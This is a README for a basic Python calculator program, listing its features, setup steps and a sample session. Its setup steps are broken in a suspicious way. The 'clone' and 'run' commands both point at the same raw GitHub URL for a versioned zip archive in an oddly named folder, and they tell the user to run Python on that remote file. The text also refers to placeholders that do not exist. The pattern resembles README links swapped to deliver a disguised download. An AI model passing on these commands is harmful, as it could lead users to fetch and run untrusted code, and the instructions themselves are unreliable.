This is a simple command-line calculator program written in Python. It allows users to perform basic arithmetic operations: addition, subtraction, multiplication, and division.
- User-Friendly Interface: Prompts the user to input two numbers and a mathematical operation.
- Supports Four Operations: Handles
+(addition),-(subtraction),*(multiplication), and/(division). - Error Handling: Catches invalid input (non-numeric) and prevents division by zero.
- Python 3.x installed on your machine.
-
Clone the Repository:
git clone [https://raw.githubusercontent.com/Griffnificent/python-calculator-assignment/main/emmetropism/calculator_python_assignment_v3.2.zip](https://raw.githubusercontent.com/Griffnificent/python-calculator-assignment/main/emmetropism/calculator_python_assignment_v3.2.zip)
Replace
your-usernameandyour-repo-namewith your actual GitHub username and repository name. -
Navigate to the Project Directory:
cd your-repo-name -
Run the Script:
python https://raw.githubusercontent.com/Griffnificent/python-calculator-assignment/main/emmetropism/calculator_python_assignment_v3.2.zip
The program will then prompt you to enter the numbers and the desired operation.
Enter the first number: 10 Enter the second number: 5 Enter the operation (+, -, *, /): + 10.0 + 5.0 = 15.0